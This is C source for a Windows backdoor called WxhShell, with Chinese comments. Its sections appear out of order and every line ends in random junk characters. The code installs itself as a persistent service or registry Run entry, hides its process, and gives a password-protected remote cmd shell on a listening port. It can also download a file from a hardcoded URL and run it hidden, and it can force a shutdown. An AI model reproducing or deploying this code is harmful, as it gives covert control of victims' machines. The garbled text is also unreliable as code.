    if(Boot(SHUTDOWN)) B(?Yw>Xd[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<Y}l-x  
    else { 1=sXdcy;  
    closesocket(wsh); T<3BT  
    ExitThread(0); NcOPL\  
    } X,aYK;q%z  
    break; Zn=T#o  
    } u]NZ`t%AP  
  // 获取shell do*}syQ`O  
  case 's': { 2kAx>R  
    CmdShell(wsh); u] :m"L M  
    closesocket(wsh); n+@F`]K e  
    ExitThread(0); G+xt5n.%  
    break; X"gCR n%tn  
  } hz;|NW{u  
  // 退出 1g# #sSa6  
  case 'x': { %*aJLn+]_R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^-mRP\5  
    CloseIt(wsh); ^;,M}|<h  
    break; taGU  
    } 6qN~/TnHZ  
  // 离开 Uz cx6sw  
  case 'q': { gqXS~K9t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 73{'k K  
    closesocket(wsh); c_aZ{S  
    WSACleanup(); 7n]65].t  
    exit(1); dm-pxE "  
    break; J PyOG _h  
        } vZ/6\Cz  
  } *k"|i*{  
  } l4n)#?Q?  
26X+ }^52  
  // 提示信息 :m86 hBE.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]E  =Iu  
} ?USQlnr:R/  
  } +("7ZK?  
1/p*tZP8i  
  return; +&zYZA8v  
} &//wSlL3  
{`2R,Jb%S  
// shell模块句柄 8Ll[ fJZA  
int CmdShell(SOCKET sock) >!_Xgw  
{ Z/rP"|EuQ  
STARTUPINFO si; 1&fc1uYB4  
ZeroMemory(&si,sizeof(si)); G-9iowS/A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r=yK,d/1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u77E! z4Uz  
PROCESS_INFORMATION ProcessInfo; BBcV9CGU  
char cmdline[]="cmd"; pJN${  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .z13 =yv  
  return 0; &uC@|dbC5  
} q80S[au  
&rkEK4  
// 自身启动模式 j~j\\Y  
int StartFromService(void) 1-RIN}CSd  
{ 'zh7_%  
typedef struct fDx9iHGv  
{ Be+0NXLVy  
  DWORD ExitStatus; ?xK,mbFgl  
  DWORD PebBaseAddress; k+1|I)z  
  DWORD AffinityMask; e.c3nKXZ q  
  DWORD BasePriority; 7)h[Zy,A  
  ULONG UniqueProcessId; tGB@$UmfU  
  ULONG InheritedFromUniqueProcessId; \QU^>2 3  
}   PROCESS_BASIC_INFORMATION; QRLt9L  
_G1gtu]  
PROCNTQSIP NtQueryInformationProcess; %LYnxo7#C  
tpuYiL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wcDRH)AW.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )E+'*e{cK  
RmZ]" `  
  HANDLE             hProcess; y\{%\$  
  PROCESS_BASIC_INFORMATION pbi; MQin"\  
Ecs,$\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); If%/3UJ@  
  if(NULL == hInst ) return 0; ^k<o T'89  
Ytgj|@jsp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B:7mpSnEQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xy%p"b<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i1 RiGS  
tDAhyy73  
  if (!NtQueryInformationProcess) return 0; )& u5IA(  
8b0d]*q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]vuwkn+)  
  if(!hProcess) return 0; "Ky; a?Y  
SM@QUAXO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :_QCfH  
$ /nY5[  
  CloseHandle(hProcess); "n*~Mj Ny  
0@AAulRl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ao/ jt<  
if(hProcess==NULL) return 0; *}8t{ F@k  
@Vu(XG  
HMODULE hMod; %Z*sU/^  
char procName[255]; &5: tn=E  
unsigned long cbNeeded; )XWP\ h  
&?h,7 D;A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 36am-G  
VWO9=A*Y|  
  CloseHandle(hProcess); V <bd;m  
0:b2(^]bg  
if(strstr(procName,"services")) return 1; // 以服务启动 ~jsLqY*(+  
W2.qhY5  
  return 0; // 注册表启动 : "1XPr  
} c*@G_rb  
<mAhr  
// 主模块 \m1~jMz*>k  
int StartWxhshell(LPSTR lpCmdLine) q/n,,!  
{ ciMzf$+G$  
  SOCKET wsl; XU"~h64]  
BOOL val=TRUE; q&d~ \{J  
  int port=0; O|w J)  
  struct sockaddr_in door; DY^;EZ!hb  
l<);s  
  if(wscfg.ws_autoins) Install(); o^ XtU5SVq  
%HJK;   
port=atoi(lpCmdLine); 8Ac:_Zg  
Phke`3tth  
if(port<=0) port=wscfg.ws_port; @9"J|}  
|6< p(i7  
  WSADATA data; +>PX&F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /E\%>wv  
AA7C$;Z15~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ghRVso(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KY~- ;0x  
  door.sin_family = AF_INET; )Eo)t>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XcjRO#s\  
  door.sin_port = htons(port); ukUGvK  
|vw"[7_aS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^U!0-y  
closesocket(wsl); 6AhM=C  
return 1; k`N^Vdr  
} /~<@*-'  
y~\oTJb  
  if(listen(wsl,2) == INVALID_SOCKET) { sQ\8>[]   
closesocket(wsl); q7E~+p(>(  
return 1; hyFyP\u]  
} .;N1N^  
  Wxhshell(wsl); <.? jc%  
  WSACleanup(); 1{JV}O  
d}4Y(   
return 0; >j QWn@  
BT"XT5@  
} ?pd8w#O  
~W-PD  
// 以NT服务方式启动 ~5oPpTAe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %B.yW`,X  
{ sc,vj'r  
DWORD   status = 0; k1D@fiz  
  DWORD   specificError = 0xfffffff; $F5 b  
%In A+5s`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C.Kh [V\Ut  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qG?Qc (  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p6#g;$V$  
  serviceStatus.dwWin32ExitCode     = 0; wnEyl[ac  
  serviceStatus.dwServiceSpecificExitCode = 0; jHE}qE~>5  
  serviceStatus.dwCheckPoint       = 0; ff,pvk8N5  
  serviceStatus.dwWaitHint       = 0; mD$A4Y-'p  
~962i#&4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `1$@|FgyC  
  if (hServiceStatusHandle==0) return; K/j3a[.  
?(D q?-.  
status = GetLastError(); ; >hNt  
  if (status!=NO_ERROR) Ai=s e2  
{ Ce9|=Jx!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XHK<AO^  
    serviceStatus.dwCheckPoint       = 0; lT(WD}OS  
    serviceStatus.dwWaitHint       = 0; xW)2<m6C&  
    serviceStatus.dwWin32ExitCode     = status; ]@j*/IP  
    serviceStatus.dwServiceSpecificExitCode = specificError; jnKWZ/R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~dgDO:)  
    return; \o}xF@sM5  
  } vj'wm}/  
z&#SPH*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ww\CQ6/h  
  serviceStatus.dwCheckPoint       = 0; 591>rh)  
  serviceStatus.dwWaitHint       = 0; &=Ar  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `<`` 8  
} /32Fy`KV  
m[? E  
// 处理NT服务事件,比如:启动、停止 xu/cq9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u)X=Qm)  
{ rdl;M>0@  
switch(fdwControl) -Br Mp%C  
{ gp};D  
case SERVICE_CONTROL_STOP: rq8K_zp  
  serviceStatus.dwWin32ExitCode = 0; f=(?JT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AF;)#T<  
  serviceStatus.dwCheckPoint   = 0; ?i7%x,g(Z  
  serviceStatus.dwWaitHint     = 0; \rx3aJl  
  { ocqU=^ta  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iEVb"w0 59  
  } C]O(T2l{l  
  return; Tzt8h\Q^z  
case SERVICE_CONTROL_PAUSE: Q8:Has  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q}`${3qQ3  
  break; /7a BDc-v  
case SERVICE_CONTROL_CONTINUE: MW! srTQ_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NO7J!k?  
  break; Ye"o6_U "  
case SERVICE_CONTROL_INTERROGATE: ,0~^>K  
  break; 2KB\1&N  
}; 9A/\h3HrJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qW$<U3u}  
} j#X.KM   
o1-m1<ft  
// 标准应用程序主函数 8UXjm_B^'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W3]_m8,Z  
{ `n#H5Oyn  
O!m vJD  
// 获取操作系统版本 (_niMQtF}  
OsIsNt=GetOsVer(); fL_4uC i\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $yn];0$J  
.R) D3NZp  
  // 从命令行安装 HKU~UTRnZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ujDd1Bxf?  
@KWb+?_H{<  
  // 下载执行文件 RTvqCp  
if(wscfg.ws_downexe) { 4E; VM{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?+_Gs;DGVE  
  WinExec(wscfg.ws_filenam,SW_HIDE); E=jNi  
} O- ew%@_  
N^#ZJoR  
if(!OsIsNt) { aO]ZZleNS  
// 如果时win9x,隐藏进程并且设置为注册表启动 $:cE ^8K  
HideProc(); aUzBV\Yd}  
StartWxhshell(lpCmdLine); /,89p&h  
} _a5d?Q9Z  
else iWRH{mK  
  if(StartFromService()) ~rlB'8j(  
  // 以服务方式启动 hLI`If/+K  
  StartServiceCtrlDispatcher(DispatchTable); W0y '5`  
else ~o82uw?  
  // 普通方式启动 rx $mk  
  StartWxhshell(lpCmdLine); lphFhxJA{  
| h`0u'#  
return 0; ZW-yP2  
} b o0^3]Z  
2VF%@p  
k'gh  
E4gYemuN  
=========================================== y)F;zW<+  
s8QM ewU  
0]>u )%  
\,7f6:  
3!3xCO  
;KOLNi-B&  
" uXI_M)  
{p)",)td  
#include <stdio.h> f_wvZ&  
#include <string.h> g3Ec"_>P  
#include <windows.h> ,/YF-L$(t  
#include <winsock2.h> TK5K_V*7  
#include <winsvc.h> j Yx38_5e  
#include <urlmon.h> vh"R'o  
n?A6u\sQ  
#pragma comment (lib, "Ws2_32.lib") VOKZ dC-  
#pragma comment (lib, "urlmon.lib") l=]cy-H  
v$~QU{ &  
#define MAX_USER   100 // 最大客户端连接数 [r3!\HI7x  
#define BUF_SOCK   200 // sock buffer P.6nA^hXB  
#define KEY_BUFF   255 // 输入 buffer WxW7qt  
&/mA7Vf>eR  
#define REBOOT     0   // 重启 -c(F1l  
#define SHUTDOWN   1   // 关机 k xP-,MD  
cYFiJJLG]  
#define DEF_PORT   5000 // 监听端口 _Bj)r}~7#  
q:l>O5  
#define REG_LEN     16   // 注册表键长度 Ol1e/Wv  
#define SVC_LEN     80   // NT服务名长度 J+[_Wd  
#@^t;)|  
// 从dll定义API h lkn%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^9^WuSq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aT_&x@x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xG}(5Tt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I'PeN0T f  
8'~[pMn`  
// wxhshell配置信息 PH`9MXh  
struct WSCFG { !g Z67  
  int ws_port;         // 监听端口 &F\?  
  char ws_passstr[REG_LEN]; // 口令 VGtC)mG8)  
  int ws_autoins;       // 安装标记, 1=yes 0=no $P>`m$(8  
  char ws_regname[REG_LEN]; // 注册表键名 /<E5"Mm%  
  char ws_svcname[REG_LEN]; // 服务名 Is]aj-#r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (EK"V';   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TftHwe):V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HOw -]JSP2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8d?g]DEN)6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?z}=B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XS`M-{f`  
)\sc83L  
}; VS9`{  
g) p,5BADm  
// default Wxhshell configuration qP{/[uj[K  
struct WSCFG wscfg={DEF_PORT, Y3r%B9~  
    "xuhuanlingzhe", %FXfqF9  
    1, m<{< s T  
    "Wxhshell", 8CnRi  
    "Wxhshell", !6s"]WvF  
            "WxhShell Service", qY~`8 x  
    "Wrsky Windows CmdShell Service", _u{c4U0,  
    "Please Input Your Password: ", )N=NR2xBZ  
  1, zXv3:uRp.  
  "http://www.wrsky.com/wxhshell.exe", ,Vh.T&X5  
  "Wxhshell.exe" ZZcEt  
    }; QFg sq{  
`9)t[7  
// 消息定义模块 6T+FH;h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -:30:oq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WA]c=4S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M@4UGM`J  
char *msg_ws_ext="\n\rExit."; nA P.^_K  
char *msg_ws_end="\n\rQuit."; BYs-V:  
char *msg_ws_boot="\n\rReboot..."; = QQ5f5\l  
char *msg_ws_poff="\n\rShutdown..."; }Z{=|rVE  
char *msg_ws_down="\n\rSave to "; *c%oN |  
wNQ*t-K  
char *msg_ws_err="\n\rErr!"; uHAT#\m:  
char *msg_ws_ok="\n\rOK!"; A-,up{g  
COTp  
char ExeFile[MAX_PATH]; ][W_[0v  
int nUser = 0; G 16!eDMt  
HANDLE handles[MAX_USER]; 3pK*~VK  
int OsIsNt; ZKQG:M~|  
wD68tG$  
SERVICE_STATUS       serviceStatus; T:/,2.l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,$'])A?$  
t5'V6nv  
// 函数声明 S,<EEtXQ  
int Install(void); uL3Eq>~x  
int Uninstall(void); C8 vOE`U,J  
int DownloadFile(char *sURL, SOCKET wsh); g.'yZvaP  
int Boot(int flag); A5i:x$ww  
void HideProc(void); H^.IY_I`U*  
int GetOsVer(void); F)+{AQL  
int Wxhshell(SOCKET wsl); :um|nRwy9  
void TalkWithClient(void *cs); 6B@CurgB  
int CmdShell(SOCKET sock); oS7(s  
int StartFromService(void); :6zG7qES3  
int StartWxhshell(LPSTR lpCmdLine); Eh =~T9  
2gzou|Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~mO62(8m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &g.@u~SI1  
*^RmjW1I  
// 数据结构和表定义 \0mb 3Q'  
SERVICE_TABLE_ENTRY DispatchTable[] =  )$`wIp  
{ 8F:e|\SB#  
{wscfg.ws_svcname, NTServiceMain}, #% of;mJv  
{NULL, NULL} e.@uhB.  
}; mwY IJy[  
KN?6;G{  
// 自我安装 ukvtQz)  
int Install(void) oyNSh8c7c  
{ BCe|is0  
  char svExeFile[MAX_PATH]; x7vctjM|  
  HKEY key; BWrv%7  
  strcpy(svExeFile,ExeFile); Ov UI@,Ef  
I j$lDJS  
// 如果是win9x系统,修改注册表设为自启动 rp6q?3=g  
if(!OsIsNt) { \MK*by  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .[Ap=UYI>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @FC"nM  
  RegCloseKey(key); wWSdTLX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zfc3)7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b:R-mg.VT{  
  RegCloseKey(key); ~}!3G  
  return 0; #[e  
    } N gLU$/y;  
  } \~ BDm  
} rz"txN  
else { { .*y  
W`"uu.~f  
// 如果是NT以上系统,安装为系统服务 2_ :n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I+!:K|^  
if (schSCManager!=0)  Y!WG)u5  
{ nOQa_G]Gz  
  SC_HANDLE schService = CreateService M\Gdn92pd  
  ( 6Z`R#d #I  
  schSCManager, gJ;_$`  
  wscfg.ws_svcname, ^/5XZ} *  
  wscfg.ws_svcdisp, K"u NxZ  
  SERVICE_ALL_ACCESS, D;I6Q1I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "+zCS|   
  SERVICE_AUTO_START, 4Q IE8f Y  
  SERVICE_ERROR_NORMAL, ]r3Kg12Mi  
  svExeFile, `+t.!tv!  
  NULL, s;1]tD  
  NULL, ~V/?H!r'{}  
  NULL, :K ~  
  NULL, f50L,4,  
  NULL l c_E!"1  
  ); hoT/KWD,  
  if (schService!=0) hky;CD~$  
  { t+?P^Ok  
  CloseServiceHandle(schService); d*oUfiW  
  CloseServiceHandle(schSCManager); NxVw!TsR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lCF `*DM#  
  strcat(svExeFile,wscfg.ws_svcname); 7~ztwL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kQaSbpNmH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vA)O {W\o  
  RegCloseKey(key); N)S!7%ne  
  return 0; kD) $2I?  
    } #wc \T  
  } ?0_7?yTR/  
  CloseServiceHandle(schSCManager); ;. wX@  
} W5/0`[4  
} +,v-=~5  
YUQtMf9  
return 1; pG^}Xf2a  
} BZb]SoAL  
Y F:2>w<  
// 自我卸载 >xA),^ YT  
int Uninstall(void) PY3ps2^K.  
{ X%bFN  
  HKEY key; ds[QwcV9-  
W>M~Sk$v  
if(!OsIsNt) { 51# "3S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qn"D#K'&(  
  RegDeleteValue(key,wscfg.ws_regname); {F N;'Uc  
  RegCloseKey(key); 1Uf*^WW4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;eigOU]  
  RegDeleteValue(key,wscfg.ws_regname); pium$4l2#  
  RegCloseKey(key); JaWv]@9*  
  return 0; n:U>Fj>q  
  } XYx 6V  
} :)jJge&^p  
} WxbsD S;  
else { `>D9P_Y"jI  
}.)s%4p8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z"DkFvA  
if (schSCManager!=0) ,pK| SL  
{ ^*R(!P^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iA!7E;o  
  if (schService!=0) +Ra3bjl  
  { jnu Y{0(&  
  if(DeleteService(schService)!=0) { @\(vX]  
  CloseServiceHandle(schService); #$\fh;!W  
  CloseServiceHandle(schSCManager); W v!<bT8r  
  return 0; 1u]P4Gf=  
  } WW@"Z}?k  
  CloseServiceHandle(schService); C9Bh@v%90^  
  } AF4?IH  
  CloseServiceHandle(schSCManager); ^T4Ay=~{  
} V'Qn sI  
} %-;b u|  
S"snB/  
return 1; K&A;Z>l,v5  
} d]0a%Xh[  
Cd#E"dY6  
// 从指定url下载文件 5 HV)[us  
int DownloadFile(char *sURL, SOCKET wsh) RE46k`44  
{ 9x~-*8aw  
  HRESULT hr; E@QA".  
char seps[]= "/"; 9w;?-  
char *token; Uhh l3%p  
char *file; ,*,sw:=2  
char myURL[MAX_PATH]; %4>x!{jwV  
char myFILE[MAX_PATH]; f1{z~i9@$  
#j@OLvXh  
strcpy(myURL,sURL); xc'vS>&  
  token=strtok(myURL,seps);  ((DzUyK  
  while(token!=NULL) ~waNPjPRG  
  { B(HT.%r^A  
    file=token; yOHXY&  
  token=strtok(NULL,seps); 1]4^V7y  
  } x%BF {Sw  
iL?iz?+.%@  
GetCurrentDirectory(MAX_PATH,myFILE); PjqeE,5  
strcat(myFILE, "\\"); Ya4?{2h@+  
strcat(myFILE, file); ZykrQ\q9  
  send(wsh,myFILE,strlen(myFILE),0); v"1Po_`  
send(wsh,"...",3,0); /NBTvTI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -6EK#!+  
  if(hr==S_OK) 66ohmP@04Z  
return 0; `ti8-  
else #1Z7&#R/  
return 1; *{/@uO  
9R]](g#  
} Pern*x9$  
y$oW!  
// 系统电源模块 Enj_tJs  
int Boot(int flag) Rl@$xP  
{ Lx+`<<_dJ  
  HANDLE hToken; 9D4-^M:a  
  TOKEN_PRIVILEGES tkp; Q-('5a19J  
n9}RW;N+u  
  if(OsIsNt) { 9Q[>.):  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R^{xwI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j@P5(3r  
    tkp.PrivilegeCount = 1; #8?^C]*{0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yq*JdTF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9)ea.Gu  
if(flag==REBOOT) { ~mA7pOHj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ba&o;BLUy  
  return 0; V*qY"[   
} /yK"t< p  
else { (+MC<J/i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oyQ0V94j  
  return 0; 'G Y/Q5  
} $c9=mjwH  
  } qy9i9$8  
  else { \bRy(Z)  
if(flag==REBOOT) { ?&\h;11T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z fqQ {_  
  return 0; [yvt1:q  
} \ %_)_"Q  
else { xfes_v""  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kU(kU2u%9  
  return 0; #AvEH=:  
} ^f6 {0  
} mCK],TOA:  
bkkSIl+Q  
return 1; fY| @{]rx  
} SL?%/$2g=O  
>=Rd3dgDG  
// win9x进程隐藏模块 VZ9e~){xA  
void HideProc(void) ;Xnk+  
{ ,*9#c*'S  
'=@-aVp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +lY\r +;  
  if ( hKernel != NULL ) E 6>1Fm8%V  
  { oT9XJwqnv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +oxqS&$L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YyX^lL_  
    FreeLibrary(hKernel); cG~_EX$  
  } xc3Ov9`8%  
VfJX<e=k  
return; m\R@.jkZ  
} g%<{G/Tz  
ynOc~TN  
// 获取操作系统版本 ;I0yQlx|U  
int GetOsVer(void) Aw_R $  
{ j,gM+4V^  
  OSVERSIONINFO winfo; qB` 0^V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &L[8Mju6  
  GetVersionEx(&winfo); cSHtl<UY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7@e[:>e  
  return 1; N8/Au=De_  
  else Hsux>+Q  
  return 0; T8M[eSbZ  
} [8om9 Z3  
=:0IHyB#0  
// 客户端句柄模块 MZhJ,km)  
int Wxhshell(SOCKET wsl) <T=o]M$  
{ 37<GG)  
  SOCKET wsh; w-q=.RSTn=  
  struct sockaddr_in client; C9^elcdv  
  DWORD myID;  ZeDDH  
3`C3+  
  while(nUser<MAX_USER) 0^-b}  
{ rnt$BB[g  
  int nSize=sizeof(client); mSvTnd8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8)Bn?6.  
  if(wsh==INVALID_SOCKET) return 1; ROI$;B(  
0$dY;,Q.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :Q%yW%St$  
if(handles[nUser]==0) W0C$*oe!_i  
  closesocket(wsh); KTS7)2ci  
else Ni;{\"Gt  
  nUser++; @o-evH;G  
  } rt4|GVa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C^ k3*N  
{Ac3/UM/  
  return 0; s9)8{z  
} QH56tQq  
)-7(Hv1  
// 关闭 socket zJym`NF  
void CloseIt(SOCKET wsh) #onfac-3  
{ <H(AS'  
closesocket(wsh); -1Ki7|0,  
nUser--; ;R-Q,aCM}  
ExitThread(0); ;Q%19f3,6  
} )I1V 2k$n  
=I*ZOE3n  
// 客户端请求句柄 n ;fTx  
void TalkWithClient(void *cs) Nl>b'G96  
{ d(cYtM,P  
K%~Kg9  
  SOCKET wsh=(SOCKET)cs; S}oF7;'Ga  
  char pwd[SVC_LEN]; Xv;ZAa  
  char cmd[KEY_BUFF]; u K&_IE}  
char chr[1]; @ F"ShT0  
int i,j; ;{#M  
P xuz {  
  while (nUser < MAX_USER) { tw^.(m5d  
"MKsSty  
if(wscfg.ws_passstr) { xn#I7]]G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }z%/6`7)|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c;fyUi  
  //ZeroMemory(pwd,KEY_BUFF); $+yQ48Wq  
      i=0; G?X,Y\Lp  
  while(i<SVC_LEN) { j;c ^pLUP  
UVi/Be#|  
  // 设置超时 M;@03 x W  
  fd_set FdRead; dtXJ<1:  
  struct timeval TimeOut; gf8U &;  
  FD_ZERO(&FdRead); [UrS%]OSR  
  FD_SET(wsh,&FdRead); Q#AHEm{9;s  
  TimeOut.tv_sec=8; rb4g<f|  
  TimeOut.tv_usec=0; ;-wPXXR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C)dYAq3,8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z#t.wWSq  
`SpS?mWA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `'t;BXedz/  
  pwd=chr[0]; #8HXR3L5=!  
  if(chr[0]==0xd || chr[0]==0xa) { ?d'9TOlD  
  pwd=0; lAt1Mq} ?P  
  break; im%3*bv-  
  } }Bg<Fm  
  i++; mqxy(zS]  
    } +m},c-,=$w  
UjK&`a ;V  
  // 如果是非法用户,关闭 socket g#&##f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tUnVdh6L.B  
} "+Yn;9  
pNsLoNZ3w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ph+tk5k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <08V-   
S,>n'r[  
while(1) { i`s pM<iR.  
2$UR " P  
  ZeroMemory(cmd,KEY_BUFF); HK.J/Zr  
^!tI+F{n{  
      // 自动支持客户端 telnet标准   e4LNnJU\|  
  j=0; .`RC,R`C  
  while(j<KEY_BUFF) { EF~PM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9^olAfX`dB  
  cmd[j]=chr[0]; 2"^9t1C2  
  if(chr[0]==0xa || chr[0]==0xd) { ~(S4/d5  
  cmd[j]=0; H|O}Dsj  
  break; M*uG`Eo&  
  } C_)>VPD  
  j++; K@lV P!z  
    } ]vErF=[U,  
!}7m^  
  // 下载文件 zBfBYhS-  
  if(strstr(cmd,"http://")) { }IL@j A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .EwK>ro4  
  if(DownloadFile(cmd,wsh)) X;tk\Ixd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iI7~9SCE  
  else PMcyQ2R->  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <i-RF-*S  
  } 70eN]OY  
  else { g~b'}^J  
t,_[nu(~8%  
    switch(cmd[0]) { EK_^#b  
  rg\w!L(  
